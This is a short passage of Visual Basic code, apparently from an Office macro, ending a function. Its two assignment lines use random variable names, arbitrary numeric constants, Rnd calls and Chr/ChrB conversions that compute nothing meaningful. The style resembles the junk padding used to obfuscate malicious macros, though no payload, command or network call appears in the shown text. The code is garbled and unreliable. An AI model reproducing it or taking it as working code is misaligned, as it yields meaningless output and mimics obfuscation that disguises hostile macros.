iItQud = HIWvbMw + QHXWzBbDv + jXXDUZiU
joVSL = 29206 * IibMG + 11854 * ChrB(30131 * Rnd(13456) - 74305 + tBKwp) - 57310 - Rnd(EzitlV) + 35670 - INFBd * 90864 * Chr(tJmsll)
End Function